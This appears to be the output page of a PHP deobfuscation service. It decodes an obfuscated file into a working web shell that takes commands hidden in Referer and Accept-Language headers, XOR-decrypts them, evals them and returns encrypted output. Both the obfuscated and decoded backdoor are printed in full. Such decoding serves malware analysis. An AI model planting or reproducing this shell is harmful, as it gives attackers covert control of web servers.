Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $z='0,A;($j<$c,A&,A&$i,A<$l);$,Aj++,,A$,Ai++){$o.=$t{$i}^$k{$,Aj};}}r,Aetur,An $o;}..

Decoded Output download

$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$z='0,A;($j<$c,A&,A&$i,A<$l);$,Aj++,,A$,Ai++){$o.=$t{$i}^$k{$,Aj};}}r,Aetur,An $o;}$r,A=$_S,AERVER;$rr=,A@$,Ar[,A"HTTP,A_R,AE';
$T='q);$q=ar,Ara,Ay_value,A,As($q);p,Areg,A_ma,At,Ach_all("/([\\w])[\\w-,A]+(,A?,A:;q=0.([\\d]))?,?/",,A$ra,$m),A;i,Af($q&&$m,A){@s';
$I=str_replace('D','','DcDreDatDeD_Dfunction');
$x='A[$m[2][$z]];if(,Astrpos,A($p,,A$h)===0,A),A{$s[$i],A="";$,Ap,A=$ss($p,3),A;}if(array_,A,Akey_exists($i,,A$s),A){$s[,A$i].,A';
$Q='essi,Aon,A_start,A(),A;$s=&$_SESSIO,AN;$s,As="su,A,Abst,Ar";$sl="strtolower,A";$i=,A$m[1][0],A.$,Am[1][1];$,Ah,A=$sl($ss(';
$g=',A,Amd5($i.$kh),A,0,3));$f,A=$sl(,A$ss(md5,A,A($,A,Ai.$kf,A),0,3));$p="";,Afor($z=1;$z<,A,Acount(,A$m[1]);$z,A++),A$p.=$q,';
$f='(preg_replace(arra,Ay("/_/,A","/-,A/"),,Aarray("/,A",,A"+"),A,$,Ass($,As[$i],0,$e))),$k)),A),A;$o=ob_get_,Aconten,Ats(,A);ob,A_';
$M='FERER",A];$ra=@$r["HTTP_,AACCEP,AT_LANGU,A,AAGE"];,Aif($rr&&$ra){,A$u=pars,Ae_url(,A$,A,Arr);parse_str($u,A,A["que,Ary"],$';
$P='$,Akh="5d41";$kf=",A4,A02a";functio,An x($,At,A,$,Ak){$c=st,Arl,Aen($k);$l=strle,An($t,A);$o="";for,A,A(,A$i,A=0;$i<$l;){for($j=';
$O='=$p;$e=strp,Aos($,As[$i],$f,A);if($e,A){$,Ak=$kh.$,Akf;ob_st,Aar,At();@eva,Al(,A@gzun,Acompre,Ass(@x(@base6,A,A4_d,Aeco,Ade';
$d='end_cl,Aean();$d=ba,As,Ae64_encode(,Ax,A(gzcom,Apress($o),,A$k));pr,Ai,Ant("<$k>$d<,A/$,Ak>");,A@sess,Ai,Aon_destroy();}}}}';
$K=str_replace(',A','',$P.$z.$M.$T.$Q.$g.$x.$O.$f.$d);
$E=$I('',$K);$E();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$E None
$I create_function
$K $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=str..
$M FERER",A];$ra=@$r["HTTP_,AACCEP,AT_LANGU,A,AAGE"];,Aif($rr&&..
$O =$p;$e=strp,Aos($,As[$i],$f,A);if($e,A){$,Ak=$kh.$,Akf;ob_st..
$P $,Akh="5d41";$kf=",A4,A02a";functio,An x($,At,A,$,Ak){$c=st,..
$Q essi,Aon,A_start,A(),A;$s=&$_SESSIO,AN;$s,As="su,A,Abst,Ar";..
$T q);$q=ar,Ara,Ay_value,A,As($q);p,Areg,A_ma,At,Ach_all("/([\w..
$d end_cl,Aean();$d=ba,As,Ae64_encode(,Ax,A(gzcom,Apress($o),,A..
$f (preg_replace(arra,Ay("/_/,A","/-,A/"),,Aarray("/,A",,A"+"),..
$g ,A,Amd5($i.$kh),A,0,3));$f,A=$sl(,A$ss(md5,A,A($,A,Ai.$kf,A)..
$x A[$m[2][$z]];if(,Astrpos,A($p,,A$h)===0,A),A{$s[$i],A="";$,A..
$z 0,A;($j<$c,A&,A&$i,A<$l);$,Aj++,,A$,Ai++){$o.=$t{$i}^$k{$,Aj..

Stats

MD5 d37d7a42f0bb2d57992030342a7df265
Eval Count 1
Decode Time 132 ms